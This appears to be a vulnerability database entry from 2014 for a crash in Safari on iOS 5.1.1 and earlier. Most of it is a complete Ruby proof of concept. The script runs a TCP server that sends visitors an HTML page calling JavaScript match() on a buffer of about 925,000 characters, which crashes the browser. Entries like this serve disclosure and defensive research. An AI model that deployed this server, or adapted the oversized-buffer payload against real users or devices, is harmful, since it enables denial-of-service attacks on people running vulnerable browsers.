iOS <= 5.1.1 Safari Browser - JS match(), search() Crash PoC

🗓️ 01 Jul 2014 00:00:00Reported by RootType

iOS Safari Browser JS match(), search() Crash PoC. Vulnerability discovered in iOS (5.1.1) Safari Browser. Causes unexpected crashes when using JavaScript match() and search(). Tested on iPod Touch, iPhone, and iPad


                                                #!/usr/bin/env ruby

# - Title
# iOS &#60;= v5.1.1 Safari Browser JS match(), search() Crash PoC

# - Author
# Alberto Ortega @a0rtega
# alberto[@]pentbox[.]net

# - Summary
# A vulnerability has been discovered in Apple Safari Browser
# included in the last version of iOS (5.1.1).
#
# Previous versions may be affected too.
#
# When JavaScript function match() gets a big buffer as
# parameter the browser unexpectedly crashes.
#
# By extension, the function search() is affected too.
#
# Tested on iOS 5.0.1, 5.1.0, 5.1.1
# Tested on iPod Touch, iPhone and iPad iOS devices.

require &#34;socket&#34;
require &#34;optparse&#34;

# Buffer values
chr = &#34;A&#34;
# The size of buffer needed may vary depending
# on the device and the iOS version.
buffer_len = 925000

# Magic packet
body = &#34;\
&#60;html&#62;\n\
&#60;head&#62;&#60;title&#62;Crash PoC&#60;/title&#62;&#60;/head&#62;\n\
&#60;script type=\&#34;text/javascript\&#34;&#62;\n\
var s = \&#34;poc\&#34;;\n\
s.match(\&#34;#{chr*buffer_len}\&#34;);\n\
&#60;/script&#62;\n\
&#60;/html&#62;&#34;;

def help()
	puts &#34;iOS &#60;= v5.1.1 Safari Browser JS match(), search() Crash PoC&#34;
	puts &#34;#{$0} -p bind_port [-h bind_address] [--verbose]&#34;
end

# Parsing options
opts = {}
optparser = OptionParser.new do |op|
	op.on(&#34;-h&#34;, &#34;--host HOST&#34;) do |p|
		opts[&#34;host&#34;] = p
	end
	op.on(&#34;-p&#34;, &#34;--port PORT&#34;) do |p|
		opts[&#34;port&#34;] = p
	end
	op.on(&#34;-v&#34;, &#34;--verbose&#34;) do |p|
		opts[&#34;verbose&#34;] = true
	end
end

begin
	optparser.parse!
rescue
	help()
	exit 1
end

if (opts.length == 0 || opts[&#34;port&#34;] == nil)
	help()
	exit 1
end

if (opts[&#34;verbose&#34;] != nil)
	debug = true
else
	debug = false
end
if (opts[&#34;host&#34;] != nil)
	host = opts[&#34;host&#34;]
else
	host = &#34;0.0.0.0&#34;
end
port = opts[&#34;port&#34;]

# Building server
if debug
	puts &#34;Buffer -&#62; #{chr}*#{buffer_len}&#34;
end

begin
	serv = TCPServer.new(host, port)
	puts &#34;Listening on #{host}:#{port.to_s} ...&#34;
rescue
	puts &#34;Error listening on #{host}:#{port.to_s}&#34;
	exit 1
end

begin
	s = serv.accept()
	if debug
		puts &#34;Client connected, waiting petition ...&#34;
	end
	data = s.recv(1000)
	if debug
		puts &#34;Sending crafted packet ...&#34;
	end
	s.print(body)
	if debug
		puts &#34;Closing connection ...&#34;
	end
	s.close()
	puts &#34;Done!&#34;
rescue
	puts &#34;Error sending data&#34;
	exit 1
end

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1